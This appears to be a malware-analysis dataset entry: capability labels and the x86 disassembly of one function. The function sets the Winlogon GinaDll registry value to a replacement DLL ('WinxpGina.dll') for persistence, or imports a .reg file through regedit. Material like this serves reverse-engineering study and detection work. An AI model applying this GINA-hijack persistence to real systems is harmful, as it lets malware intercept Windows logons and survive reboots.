Function at 0x418cb0
Capabilities:
Check os version
Persist via ginadll registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x481723
mov eax, dword fs:[0]
push eax
sub esp, 0x18c
mov eax, dword [0x4a06b4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00418bd0
test al, al
je 0x418ef9
lea eax, [ebp - 0x178]
push eax
mov dword [ebp - 0x178], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x174], 5
jne 0x418da3
lea ecx, [ebp - 0x17c]
push ecx
push str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogon
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x418ef9
push 0xd
xor edx, edx
xor esi, esi
push str.WinxpGina.dll
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], esi
mov word [ebp - 0x2c], dx
call fcn.00401af0
mov eax, dword [ebp - 0x2c]
mov edi, 8
cmp dword [ebp - 0x18], edi
jae 0x418d5f
lea eax, [ebp - 0x2c]
mov ecx, dword [ebp - 0x1c]
lea edx, [ecx + ecx]
push edx
push eax
mov eax, dword [ebp - 0x17c]
push 1
push esi
push str.GinaDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x17c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x18], edi
jb 0x418ef9
mov edx, dword [ebp - 0x2c]
push edx
call fcn.0041cbd1
add esp, 4
jmp 0x418ef9
lea esi, [ebp - 0x198]
call fcn.00403250
xor esi, esi
mov dword [ebp - 4], esi
cmp dword [ebp - 0x18c], esi
je 0x418dd4
mov eax, dword [ebp - 0x194]
cmp eax, esi
je 0x418dd4
lea ecx, [ebp - 0x180]
push ecx
call eax
mov dword [ebp - 0x184], eax
push 4
xor edx, edx
mov ebx, 7
push 0x492d44
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], esi
mov word [ebp - 0x2c], dx
call fcn.00401af0
push 0xffffffffffffffff
push esi
push 0x4a3570
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.00402ed0
push 0xe
push str.Register.reg_
lea ecx, [ebp - 0x2c]
call fcn.00402fe0
cmp dword [ebp - 0x18], 8
mov edx, dword [ebp - 0x2c]
jae 0x418e23
lea edx, [ebp - 0x2c]
xor eax, eax
mov word [ebp - 0x64], ax
mov eax, edx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], esi
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x418e34
sub eax, edi
sar eax, 1
push eax
push edx
lea ecx, [ebp - 0x64]
call fcn.00401af0
mov byte [ebp - 4], 2
xor ecx, ecx
push 0x16
mov word [ebp - 0x48], cx
push str.C:windows_regedit.exe
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esi
call fcn.00401af0
lea edx, [ebp - 0x64]
push edx
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 3
call fcn.00411390
mov edi, 8
add esp, 4
cmp dword [ebp - 0x34], edi
jb 0x418e95
mov eax, dword [ebp - 0x48]
push eax
call fcn.0041cbd1
add esp, 4
xor ecx, ecx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esi
mov word [ebp - 0x48], cx
cmp dword [ebp - 0x50], edi
jb 0x418eb2
mov edx, dword [ebp - 0x64]
push edx
call fcn.0041cbd1
add esp, 4
cmp dword [ebp - 0x18], edi
jb 0x418ec3
mov eax, dword [ebp - 0x2c]
push eax
call fcn.0041cbd1
add esp, 4
xor ecx, ecx
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], esi
mov word [ebp - 0x2c], cx
cmp dword [ebp - 0x18c], esi
je 0x418ef9
cmp dword [ebp - 0x184], esi
je 0x418ef9
mov eax, dword [ebp - 0x190]
cmp eax, esi
je 0x418ef9
mov edx, dword [ebp - 0x180]
push edx
call eax
call fcn.00418c40
test al, al
je 0x418f0c
call fcn.0040a8a0
call fcn.0040a7c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041c4a1
mov esp, ebp
pop ebp
ret